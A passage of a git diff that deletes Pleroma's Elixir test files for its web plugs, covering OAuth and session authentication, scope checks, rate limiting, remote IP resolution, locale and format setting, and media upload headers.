LegacyAuthenticationPlug.call(conn, %{}) - - assert conn.assigns.user.id == user.id - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - - @tag :skip_on_mac - test "it does nothing if the password is wrong", %{ - conn: conn, - user: user - } do - conn = - conn - |> assign(:auth_credentials, %{username: "dude", password: "wrong_password"}) - |> assign(:auth_user, user) - - ret_conn = - conn - |> LegacyAuthenticationPlug.call(%{}) - - assert conn == ret_conn - end - - test "with no credentials or user it does nothing", %{conn: conn} do - ret_conn = - conn - |> LegacyAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end -end diff --git a/test/plugs/mapped_identity_to_signature_plug_test.exs b/test/plugs/mapped_identity_to_signature_plug_test.exs deleted file mode 100644 index 0ad3c2929..000000000 --- a/test/plugs/mapped_identity_to_signature_plug_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do - use Pleroma.Web.ConnCase - alias Pleroma.Web.Plugs.MappedSignatureToIdentityPlug - - import Tesla.Mock - import Plug.Conn - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - defp set_signature(conn, key_id) do - conn - |> put_req_header("signature", "keyId=\"#{key_id}\"") - |> assign(:valid_signature, true) - end - - test "it successfully maps a valid identity with a valid signature" do - conn = - build_conn(:get, "/doesntmattter") - |> set_signature("http://mastodon.example.org/users/admin") - |> MappedSignatureToIdentityPlug.call(%{}) - - refute is_nil(conn.assigns.user) - end - - test "it successfully maps a valid identity with a valid signature with payload" do - conn = - build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) - |> set_signature("http://mastodon.example.org/users/admin") - |> MappedSignatureToIdentityPlug.call(%{}) - - refute is_nil(conn.assigns.user) - end - - test "it considers a mapped identity to be invalid when it mismatches a payload" do - conn = - build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) - |> set_signature("https://niu.moe/users/rye") - |> MappedSignatureToIdentityPlug.call(%{}) - - assert %{valid_signature: false} == conn.assigns - end - - @tag skip: "known breakage; the testsuite presently depends on it" - test "it considers a mapped identity to be invalid when the identity cannot be found" do - conn = - build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) - |> set_signature("http://niu.moe/users/rye") - |> MappedSignatureToIdentityPlug.call(%{}) - - assert %{valid_signature: false} == conn.assigns - end -end diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs deleted file mode 100644 index 9d39d3153..000000000 --- a/test/plugs/oauth_plug_test.exs +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.OAuthPlug - import Pleroma.Factory - - @session_opts [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - setup %{conn: conn} do - user = insert(:user) - {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create(insert(:oauth_app), user) - %{user: user, token: token, conn: conn} - end - - test "with valid token(uppercase), it assigns the user", %{conn: conn} = opts do - conn = - conn - |> put_req_header("authorization", "BEARER #{opts[:token]}") - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with valid token(downcase), it assigns the user", %{conn: conn} = opts do - conn = - conn - |> put_req_header("authorization", "bearer #{opts[:token]}") - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with valid token(downcase) in url parameters, it assigns the user", opts do - conn = - :get - |> build_conn("/?access_token=#{opts[:token]}") - |> put_req_header("content-type", "application/json") - |> fetch_query_params() - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with valid token(downcase) in body parameters, it assigns the user", opts do - conn = - :post - |> build_conn("/api/v1/statuses", access_token: opts[:token], status: "test") - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end - - test "with invalid token, it not assigns the user", %{conn: conn} do - conn = - conn - |> put_req_header("authorization", "bearer TTTTT") - |> OAuthPlug.call(%{}) - - refute conn.assigns[:user] - end - - test "when token is missed but token in session, it assigns the user", %{conn: conn} = opts do - conn = - conn - |> Plug.Session.call(Plug.Session.init(@session_opts)) - |> fetch_session() - |> put_session(:oauth_token, opts[:token]) - |> OAuthPlug.call(%{}) - - assert conn.assigns[:user] == opts[:user] - end -end diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs deleted file mode 100644 index 334316043..000000000 --- a/test/plugs/oauth_scopes_plug_test.exs +++ /dev/null @@ -1,210 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthScopesPlugTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Repo - - import Mock - import Pleroma.Factory - - test "is not performed if marked as skipped", %{conn: conn} do - with_mock OAuthScopesPlug, [:passthrough], perform: &passthrough([&1, &2]) do - conn = - conn - |> OAuthScopesPlug.skip_plug() - |> OAuthScopesPlug.call(%{scopes: ["random_scope"]}) - - refute called(OAuthScopesPlug.perform(:_, :_)) - refute conn.halted - end - end - - test "if `token.scopes` fulfills specified 'any of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["read"]}) - - refute conn.halted - assert conn.assigns[:user] - end - - test "if `token.scopes` fulfills specified 'all of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["scope2", "scope3"], op: :&}) - - refute conn.halted - assert conn.assigns[:user] - end - - describe "with `fallback: :proceed_unauthenticated` option, " do - test "if `token.scopes` doesn't fulfill specified conditions, " <> - "clears :user and :token assigns", - %{conn: conn} do - user = insert(:user) - token1 = insert(:oauth_token, scopes: ["read", "write"], user: user) - - for token <- [token1, nil], op <- [:|, :&] do - ret_conn = - conn - |> assign(:user, user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{ - scopes: ["follow"], - op: op, - fallback: :proceed_unauthenticated - }) - - refute ret_conn.halted - refute ret_conn.assigns[:user] - refute ret_conn.assigns[:token] - end - end - end - - describe "without :fallback option, " do - test "if `token.scopes` does not fulfill specified 'any of' conditions, " <> - "returns 403 and halts", - %{conn: conn} do - for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do - any_of_scopes = ["follow", "push"] - - ret_conn = - conn - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: any_of_scopes}) - - assert ret_conn.halted - assert 403 == ret_conn.status - - expected_error = "Insufficient permissions: #{Enum.join(any_of_scopes, " | ")}." - assert Jason.encode!(%{error: expected_error}) == ret_conn.resp_body - end - end - - test "if `token.scopes` does not fulfill specified 'all of' conditions, " <> - "returns 403 and halts", - %{conn: conn} do - for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do - token_scopes = (token && token.scopes) || [] - all_of_scopes = ["write", "follow"] - - conn = - conn - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: all_of_scopes, op: :&}) - - assert conn.halted - assert 403 == conn.status - - expected_error = - "Insufficient permissions: #{Enum.join(all_of_scopes -- token_scopes, " & ")}." - - assert Jason.encode!(%{error: expected_error}) == conn.resp_body - end - end - end - - describe "with hierarchical scopes, " do - test "if `token.scopes` fulfills specified 'any of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["read:something"]}) - - refute conn.halted - assert conn.assigns[:user] - end - - test "if `token.scopes` fulfills specified 'all of' conditions, " <> - "proceeds with no op", - %{conn: conn} do - token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> OAuthScopesPlug.call(%{scopes: ["scope1:subscope", "scope2:subscope"], op: :&}) - - refute conn.halted - assert conn.assigns[:user] - end - end - - describe "filter_descendants/2" do - test "filters scopes which directly match or are ancestors of supported scopes" do - f = fn scopes, supported_scopes -> - OAuthScopesPlug.filter_descendants(scopes, supported_scopes) - end - - assert f.(["read", "follow"], ["write", "read"]) == ["read"] - - assert f.(["read", "write:something", "follow"], ["write", "read"]) == - ["read", "write:something"] - - assert f.(["admin:read"], ["write", "read"]) == [] - - assert f.(["admin:read"], ["write", "admin"]) == ["admin:read"] - end - end - - describe "transform_scopes/2" do - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage]) - - setup do - {:ok, %{f: &OAuthScopesPlug.transform_scopes/2}} - end - - test "with :admin option, prefixes all requested scopes with `admin:` " <> - "and [optionally] keeps only prefixed scopes, " <> - "depending on `[:auth, :enforce_oauth_admin_scope_usage]` setting", - %{f: f} do - Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false) - - assert f.(["read"], %{admin: true}) == ["admin:read", "read"] - - assert f.(["read", "write"], %{admin: true}) == [ - "admin:read", - "read", - "admin:write", - "write" - ] - - Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true) - - assert f.(["read:accounts"], %{admin: true}) == ["admin:read:accounts"] - - assert f.(["read", "write:reports"], %{admin: true}) == [ - "admin:read", - "admin:write:reports" - ] - end - - test "with no supported options, returns unmodified scopes", %{f: f} do - assert f.(["read"], %{}) == ["read"] - assert f.(["read", "write"], %{}) == ["read", "write"] - end - end -end diff --git a/test/plugs/rate_limiter_test.exs b/test/plugs/rate_limiter_test.exs deleted file mode 100644 index 4d3d694f4..000000000 --- a/test/plugs/rate_limiter_test.exs +++ /dev/null @@ -1,263 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RateLimiterTest do - use Pleroma.Web.ConnCase - - alias Phoenix.ConnTest - alias Pleroma.Config - alias Pleroma.Plugs.RateLimiter - alias Plug.Conn - - import Pleroma.Factory - import Pleroma.Tests.Helpers, only: [clear_config: 1, clear_config: 2] - - # Note: each example must work with separate buckets in order to prevent concurrency issues - setup do: clear_config([Pleroma.Web.Endpoint, :http, :ip]) - setup do: clear_config(:rate_limit) - - describe "config" do - @limiter_name :test_init - setup do: clear_config([Pleroma.Plugs.RemoteIp, :enabled]) - - test "config is required for plug to work" do - Config.put([:rate_limit, @limiter_name], {1, 1}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - assert %{limits: {1, 1}, name: :test_init, opts: [name: :test_init]} == - [name: @limiter_name] - |> RateLimiter.init() - |> RateLimiter.action_settings() - - assert nil == - [name: :nonexisting_limiter] - |> RateLimiter.init() - |> RateLimiter.action_settings() - end - end - - test "it is disabled if it remote ip plug is enabled but no remote ip is found" do - assert RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, false)) - end - - test "it is enabled if remote ip found" do - refute RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, true)) - end - - test "it is enabled if remote_ip_found flag doesn't exist" do - refute RateLimiter.disabled?(build_conn()) - end - - test "it restricts based on config values" do - limiter_name = :test_plug_opts - scale = 80 - limit = 5 - - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - Config.put([:rate_limit, limiter_name], {scale, limit}) - - plug_opts = RateLimiter.init(name: limiter_name) - conn = build_conn(:get, "/") - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - Process.sleep(10) - end - - conn = RateLimiter.call(conn, plug_opts) - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - - Process.sleep(50) - - conn = build_conn(:get, "/") - - conn = RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - - refute conn.status == Conn.Status.code(:too_many_requests) - refute conn.resp_body - refute conn.halted - end - - describe "options" do - test "`bucket_name` option overrides default bucket name" do - limiter_name = :test_bucket_name - - Config.put([:rate_limit, limiter_name], {1000, 5}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - base_bucket_name = "#{limiter_name}:group1" - plug_opts = RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name) - - conn = build_conn(:get, "/") - - RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) - assert {:error, :not_found} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - end - - test "`params` option allows different queries to be tracked independently" do - limiter_name = :test_params - Config.put([:rate_limit, limiter_name], {1000, 5}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - plug_opts = RateLimiter.init(name: limiter_name, params: ["id"]) - - conn = build_conn(:get, "/?id=1") - conn = Conn.fetch_query_params(conn) - conn_2 = build_conn(:get, "/?id=2") - - RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - assert {0, 5} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) - end - - test "it supports combination of options modifying bucket name" do - limiter_name = :test_options_combo - Config.put([:rate_limit, limiter_name], {1000, 5}) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - base_bucket_name = "#{limiter_name}:group1" - - plug_opts = - RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name, params: ["id"]) - - id = "100" - - conn = build_conn(:get, "/?id=#{id}") - conn = Conn.fetch_query_params(conn) - conn_2 = build_conn(:get, "/?id=#{101}") - - RateLimiter.call(conn, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) - assert {0, 5} = RateLimiter.inspect_bucket(conn_2, base_bucket_name, plug_opts) - end - end - - describe "unauthenticated users" do - test "are restricted based on remote IP" do - limiter_name = :test_unauthenticated - Config.put([:rate_limit, limiter_name], [{1000, 5}, {1, 10}]) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - plug_opts = RateLimiter.init(name: limiter_name) - - conn = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 2}} - conn_2 = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 3}} - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - refute conn.halted - end - - conn = RateLimiter.call(conn, plug_opts) - - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - - conn_2 = RateLimiter.call(conn_2, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) - - refute conn_2.status == Conn.Status.code(:too_many_requests) - refute conn_2.resp_body - refute conn_2.halted - end - end - - describe "authenticated users" do - setup do - Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo) - - :ok - end - - test "can have limits separate from unauthenticated connections" do - limiter_name = :test_authenticated1 - - scale = 50 - limit = 5 - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - Config.put([:rate_limit, limiter_name], [{1000, 1}, {scale, limit}]) - - plug_opts = RateLimiter.init(name: limiter_name) - - user = insert(:user) - conn = build_conn(:get, "/") |> assign(:user, user) - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - refute conn.halted - end - - conn = RateLimiter.call(conn, plug_opts) - - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - end - - test "different users are counted independently" do - limiter_name = :test_authenticated2 - Config.put([:rate_limit, limiter_name], [{1, 10}, {1000, 5}]) - Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - plug_opts = RateLimiter.init(name: limiter_name) - - user = insert(:user) - conn = build_conn(:get, "/") |> assign(:user, user) - - user_2 = insert(:user) - conn_2 = build_conn(:get, "/") |> assign(:user, user_2) - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - end - - conn = RateLimiter.call(conn, plug_opts) - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - - conn_2 = RateLimiter.call(conn_2, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) - refute conn_2.status == Conn.Status.code(:too_many_requests) - refute conn_2.resp_body - refute conn_2.halted - end - end - - test "doesn't crash due to a race condition when multiple requests are made at the same time and the bucket is not yet initialized" do - limiter_name = :test_race_condition - Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5}) - Pleroma.Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - opts = RateLimiter.init(name: limiter_name) - - conn = build_conn(:get, "/") - conn_2 = build_conn(:get, "/") - - %Task{pid: pid1} = - task1 = - Task.async(fn -> - receive do - :process2_up -> - RateLimiter.call(conn, opts) - end - end) - - task2 = - Task.async(fn -> - send(pid1, :process2_up) - RateLimiter.call(conn_2, opts) - end) - - Task.await(task1) - Task.await(task2) - - refute {:err, :not_found} == RateLimiter.inspect_bucket(conn, limiter_name, opts) - end -end diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs deleted file mode 100644 index 6d01c812d..000000000 --- a/test/plugs/remote_ip_test.exs +++ /dev/null @@ -1,108 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RemoteIpTest do - use ExUnit.Case - use Plug.Test - - alias Pleroma.Plugs.RemoteIp - - import Pleroma.Tests.Helpers, only: [clear_config: 2] - - setup do: - clear_config(RemoteIp, - enabled: true, - headers: ["x-forwarded-for"], - proxies: [], - reserved: [ - "127.0.0.0/8", - "::1/128", - "fc00::/7", - "10.0.0.0/8", - "172.16.0.0/12", - "192.168.0.0/16" - ] - ) - - test "disabled" do - Pleroma.Config.put(RemoteIp, enabled: false) - - %{remote_ip: remote_ip} = conn(:get, "/") - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == remote_ip - end - - test "enabled" do - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "custom headers" do - Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "1.1.1.1") - |> RemoteIp.call(nil) - - refute conn.remote_ip == {1, 1, 1, 1} - - conn = - conn(:get, "/") - |> put_req_header("cf-connecting-ip", "1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "custom proxies" do - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") - |> RemoteIp.call(nil) - - refute conn.remote_ip == {1, 1, 1, 1} - - Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "proxies set without CIDR format" do - Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.1"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "proxies set `nonsensical` CIDR" do - Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) - Pleroma.Config.put([RemoteIp, :proxies], ["10.0.0.3/24"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "10.0.0.3, 1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end -end diff --git a/test/plugs/session_authentication_plug_test.exs b/test/plugs/session_authentication_plug_test.exs deleted file mode 100644 index 0949ecfed..000000000 --- a/test/plugs/session_authentication_plug_test.exs +++ /dev/null @@ -1,63 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SessionAuthenticationPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.SessionAuthenticationPlug - alias Pleroma.User - - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session - |> assign(:auth_user, %User{id: 1}) - - %{conn: conn} - end - - test "it does nothing if a user is assigned", %{conn: conn} do - conn = - conn - |> assign(:user, %User{}) - - ret_conn = - conn - |> SessionAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end - - test "if the auth_user has the same id as the user_id in the session, it assigns the user", %{ - conn: conn - } do - conn = - conn - |> put_session(:user_id, conn.assigns.auth_user.id) - |> SessionAuthenticationPlug.call(%{}) - - assert conn.assigns.user == conn.assigns.auth_user - end - - test "if the auth_user has a different id as the user_id in the session, it does nothing", %{ - conn: conn - } do - conn = - conn - |> put_session(:user_id, -1) - - ret_conn = - conn - |> SessionAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end -end diff --git a/test/plugs/set_format_plug_test.exs b/test/plugs/set_format_plug_test.exs deleted file mode 100644 index 7a1dfe9bf..000000000 --- a/test/plugs/set_format_plug_test.exs +++ /dev/null @@ -1,38 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetFormatPlugTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.SetFormatPlug - - test "set format from params" do - conn = - :get - |> conn("/cofe?_format=json") - |> SetFormatPlug.call([]) - - assert %{format: "json"} == conn.assigns - end - - test "set format from header" do - conn = - :get - |> conn("/cofe") - |> put_private(:phoenix_format, "xml") - |> SetFormatPlug.call([]) - - assert %{format: "xml"} == conn.assigns - end - - test "doesn't set format" do - conn = - :get - |> conn("/cofe") - |> SetFormatPlug.call([]) - - refute conn.assigns[:format] - end -end diff --git a/test/plugs/set_locale_plug_test.exs b/test/plugs/set_locale_plug_test.exs deleted file mode 100644 index 7114b1557..000000000 --- a/test/plugs/set_locale_plug_test.exs +++ /dev/null @@ -1,46 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetLocalePlugTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.SetLocalePlug - alias Plug.Conn - - test "default locale is `en`" do - conn = - :get - |> conn("/cofe") - |> SetLocalePlug.call([]) - - assert "en" == Gettext.get_locale() - assert %{locale: "en"} == conn.assigns - end - - test "use supported locale from `accept-language`" do - conn = - :get - |> conn("/cofe") - |> Conn.put_req_header( - "accept-language", - "ru, fr-CH, fr;q=0.9, en;q=0.8, *;q=0.5" - ) - |> SetLocalePlug.call([]) - - assert "ru" == Gettext.get_locale() - assert %{locale: "ru"} == conn.assigns - end - - test "use default locale if locale from `accept-language` is not supported" do - conn = - :get - |> conn("/cofe") - |> Conn.put_req_header("accept-language", "tlh") - |> SetLocalePlug.call([]) - - assert "en" == Gettext.get_locale() - assert %{locale: "en"} == conn.assigns - end -end diff --git a/test/plugs/set_user_session_id_plug_test.exs b/test/plugs/set_user_session_id_plug_test.exs deleted file mode 100644 index 7f1a1e98b..000000000 --- a/test/plugs/set_user_session_id_plug_test.exs +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetUserSessionIdPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.SetUserSessionIdPlug - alias Pleroma.User - - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session - - %{conn: conn} - end - - test "doesn't do anything if the user isn't set", %{conn: conn} do - ret_conn = - conn - |> SetUserSessionIdPlug.call(%{}) - - assert ret_conn == conn - end - - test "sets the user_id in the session to the user id of the user assign", %{conn: conn} do - Code.ensure_compiled(Pleroma.User) - - conn = - conn - |> assign(:user, %User{id: 1}) - |> SetUserSessionIdPlug.call(%{}) - - id = get_session(conn, :user_id) - assert id == 1 - end -end diff --git a/test/plugs/uploaded_media_plug_test.exs b/test/plugs/uploaded_media_plug_test.exs deleted file mode 100644 index 20b13dfac..000000000 --- a/test/plugs/uploaded_media_plug_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.UploadedMediaPlugTest do - use Pleroma.Web.ConnCase - alias Pleroma.Upload - - defp upload_file(context) do - Pleroma.DataCase.ensure_local_uploader(context) - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "nice_tf.jpg" - } - - {:ok, data} = Upload.store(file) - [%{"href" => attachment_url} | _] = data["url"] - [attachment_url: attachment_url] - end - - setup_all :upload_file - - test "does not send Content-Disposition header when name param is not set", %{ - attachment_url: attachment_url - } do - conn = get(build_conn(), attachment_url) - refute Enum.any?(conn.resp_headers, &(elem(&1, 0) == "content-disposition")) - end - - test "sends Content-Disposition header when name param is set", %{ - attachment_url: attachment_url - } do - conn = get(build_conn(), attachment_url <> "?name=\"cofe\".gif") - - assert Enum.any?( - conn.resp_headers, - &(&1 == {"content-disposition", "filename=\"\\\"cofe\\\".gif\""}) - ) - end -end diff --git a/test/plugs/user_enabled_plug_test.exs b/test/plugs/user_enabled_plug_test.exs deleted file mode 100644 index b219d8abf..000000000 --- a/test/plugs/user_enabled_plug_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserEnabledPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.UserEnabledPlug - import Pleroma.Factory - - setup do: clear_config([:instance, :account_activation_required]) - - test "doesn't do anything if the user isn't set", %{conn: conn} do - ret_conn = - conn - |> UserEnabledPlug.call(%{}) - - assert ret_conn == conn - end - - test "with a user that's not confirmed and a config requiring confirmation, it removes that user", - %{conn: conn} do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, confirmation_pending: true) - - conn = - conn - |> assign(:user, user) - |> UserEnabledPlug.call(%{}) - - assert conn.assigns.user == nil - end - - test "with a user that is deactivated, it removes that user", %{conn: conn} do - user = insert(:user, deactivated: true) - - conn = - conn - |> assign(:user, user) - |> UserEnabledPlug.call(%{}) - - assert conn.assigns.user == nil - end - - test "with a user that is not deactivated, it does nothing", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - - ret_conn = - conn - |> UserEnabledPlug.call(%{}) - - assert conn == ret_conn - end -end diff --git a/test/plugs/user_fetcher_plug_test.exs b/test/plugs/user_fetcher_plug_test.exs deleted file mode 100644 index 0496f14dd..000000000 --- a/test/plugs/user_fetcher_plug_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserFetcherPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.UserFetcherPlug - import Pleroma.Factory - - setup do - user = insert(:user) - %{user: user} - end - - test "if an auth_credentials assign is present, it tries to fetch the user and assigns it", %{ - conn: conn, - user: user - } do - conn = - conn - |> assign(:auth_credentials, %{ - username: user.nickname, - password: nil - }) - - conn = - conn - |> UserFetcherPlug.call(%{}) - - assert conn.assigns[:auth_user] == user - end - - test "without a credential assign it doesn't do anything", %{conn: conn} do - ret_conn = - conn - |> UserFetcherPlug.call(%{}) - - assert conn == ret_conn - end -end diff --git a/test/plugs/user_is_admin_plug_test.exs b/test/plugs/user_is_admin_plug_test.exs deleted file mode 100644 index 